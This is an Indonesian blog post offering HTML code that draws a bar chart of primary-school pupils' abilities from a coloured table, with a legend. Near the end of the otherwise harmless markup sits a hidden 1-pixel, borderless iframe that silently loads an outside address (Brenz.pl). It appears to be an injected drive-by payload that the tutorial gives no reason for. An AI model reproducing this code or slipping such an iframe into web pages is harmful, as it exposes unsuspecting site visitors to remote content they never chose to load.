Berikut adalah Tag Cara Membuat Grafik Dengan Memanfaatkan Suatu Tabel, yang hasilnya seperti gambar di Bawah ini :
<!DOCTYPE HTML>
<html lang="en">
<link rel="shortcut icon" href="http://localhost/images/wzcook.ico">
<head>
<title>GRAFIK TABEL KECERDASAN SISWA</title>
</head>
<body bgcolor="#d2d4d2">
<table border=0 align="center" cellspacing=0
cellpadding=10>
<caption><h3>GRAFIK KEECERDASAN SISWA SD</caption>
<tr>
<td colspan= 27></td>
</tr>
<tr>
<td>100</td>
<td rowspan = 11 width=5 bgcolor= "black"></td>
</tr>
<tr>
<td colspan = 27></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td rowspan= 9 width = 20 bgcolor= "blue"></td>
</tr>
<tr>
<td></td>
<td width =20></td>
<td rowspan= 8 width = 20 bgcolor= "red"></td>
<td rowspan= 8 width = 20 bgcolor= "#44fa04"></td>
<td></td>
<td rowspan= 8 width = 20 bgcolor= "aqua"></td>
</tr>
<tr>
<td></td>
<td></td>
<td rowspan= 7 width = 20 bgcolor= "yellow"></td>
</tr>
<tr>
<td colspan= 27>50</td>
</tr>
<tr>
<td></td>
<td></td>
<td width = 20></td>
<td rowspan= 5 width = 20 bgcolor= "red"></td>
<td></td>
<td></td>
<td></td>
<td rowspan= 5 width = 20 bgcolor= "aqua"></td>
<td rowspan = 5 width = 20></td>
<td></td>
<td rowspan= 5 width = 20 bgcolor= "blue"></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td rowspan= 5 width = 20 bgcolor= "aqua"></td>
<td width=20></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td rowspan= 4 width = 20 bgcolor = "blue"></td>
<td></td>
<td rowspan= 4 width = 20 bgcolor = "yellow"></td>
<td></td>
<td rowspan= 4 width = 20 bgcolor = "#44fa04"></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td rowspan= 4 width = 20 bgcolor = "#44fa04"></td>
<td rowspan= 4 width = 20 bgcolor = "yellow"></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td rowspan= 3 width = 20 bgcolor = "#44fa04"></td>
<td></td>
<td rowspan= 3 width = 20 bgcolor= "yellow"></td>
<td></td>
<td></td>
<td rowspan= 3 width = 20 bgcolor= "red"></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td rowspan= 2 width = 20 bgcolor= "red"></td>
<td></td>
<td></td>
<td rowspan= 2 width = 20 bgcolor= "blue"></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td width = 20 bgcolor= "aqua"></td>
<td width = 20></td>
</tr>
<tr>
<td>0</td>
<td colspan = 27 bgcolor= "black"></td>
<td width=20></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td align ="center" colspan = 5><b>Herlambang</b></td>
<td></td>
<td align ="center" colspan = 5><b>Nidho</b></td>
<td></td>
<td align ="center" colspan = 5><b>Bian</b></td>
<td></td>
<td align ="center" colspan = 5><b>Sonny</b></td>
</tr>
</table>
<table border=0 align="left" cellspacing=0
cellpadding=10 >
<tr>
<td colspan = 27></td>
</tr>
<tr>
<td width = 30></td>
<td><b><i>Keterangan:</i></b></td>
</tr>
<tr>
<td></td>
<td width = 15 bgcolor = "red"></td>
<td align="center" width = 15>:</td>
<td><i>Kemampuan membaca</i></td>
</tr>
<tr>
<td></td>
<td width = 15 bgcolor = "blue"></td>
<td align="center" width = 15>:</td>
<td><i>Kemampuan menulis</i></td>
</tr>
<tr>
<td></td>
<td width = 15 bgcolor = "#44fa04"></td>
<td align="center" width = 15>:</td>
<td><i>Kemampuan medengar</i></td>
</tr>
<tr>
<td></td>
<td width = 15 bgcolor = "yellow">
<td align="center" width = 15>:</td>
<td><i>Kemampuan berbicara</i></td>
</tr>
<tr>
<td></td>
<td width = 15 bgcolor = "aqua">
<td align="center" width = 15>:</td>
<td><i>Kemampuan menggambar</i></td>
</tr>
</table>
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
0 komentar:
Posting Komentar